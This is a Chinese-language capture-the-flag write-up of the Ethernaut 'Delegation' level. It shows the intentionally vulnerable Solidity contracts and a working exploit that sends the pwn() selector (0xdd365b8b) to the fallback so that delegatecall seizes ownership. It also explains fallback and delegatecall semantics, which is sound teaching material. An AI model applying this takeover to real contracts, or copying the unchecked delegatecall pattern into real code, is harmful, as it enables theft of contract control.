Delegation
题目源码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Delegate {
address public owner;
constructor(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
题目要求
这道题目的要求是获得Delegation
合约的owner
权限
题目分析
我们看到修改owner
地址的方法是在Delegate
合约的pwn
方法。这个方法可以通过Delegation
的fallback
方法中address(delegate).delegatecall(msg.data)
来实现代理调用修改Delegation
中的owner
攻击步骤
直接调用Delegation
的fallback
方法。有两种方式可以直接调用合约的fallback
方法
- 调用合约中不存在的方法时,如果合约提供了
fallback
方法,则会自动调用合约的fallback
方法
- 调用合约中不存在的方法时,如果合约提供了
- 直接给合约转账 ETH 时,如果合约中没有实现
receive
方法,但是实现了fallback
。则会自动调用合约的fallback
方法
- 直接给合约转账 ETH 时,如果合约中没有实现
// 获取pwn()方法的编码
web3.eth.abi.encodeFunctionSignature("pwn()") => "0xdd365b8b"
// 调用fallback方法
await sendTransaction({
from: player,
to: instance,
value: 0,
data: "0xdd365b8b"
})
题目知识点
fallback
方法的调用方式delegatecall
方法香瓜知识点- A 合约
delegatecall
B 合约,则 B 合约的msg.sender
是 A 合约的msg.sender
- A 合约
delegatecall
B 合约,修改的状态变量是 A 合约的状态变量,而不是 B 合约的 - A 合约
delegatecall
B 合约,则 B 合约的状态变量顺序要和 A 合约的状态变量顺序严格保持一致。否则会出现slot
修改错误导致脏数据
- A 合约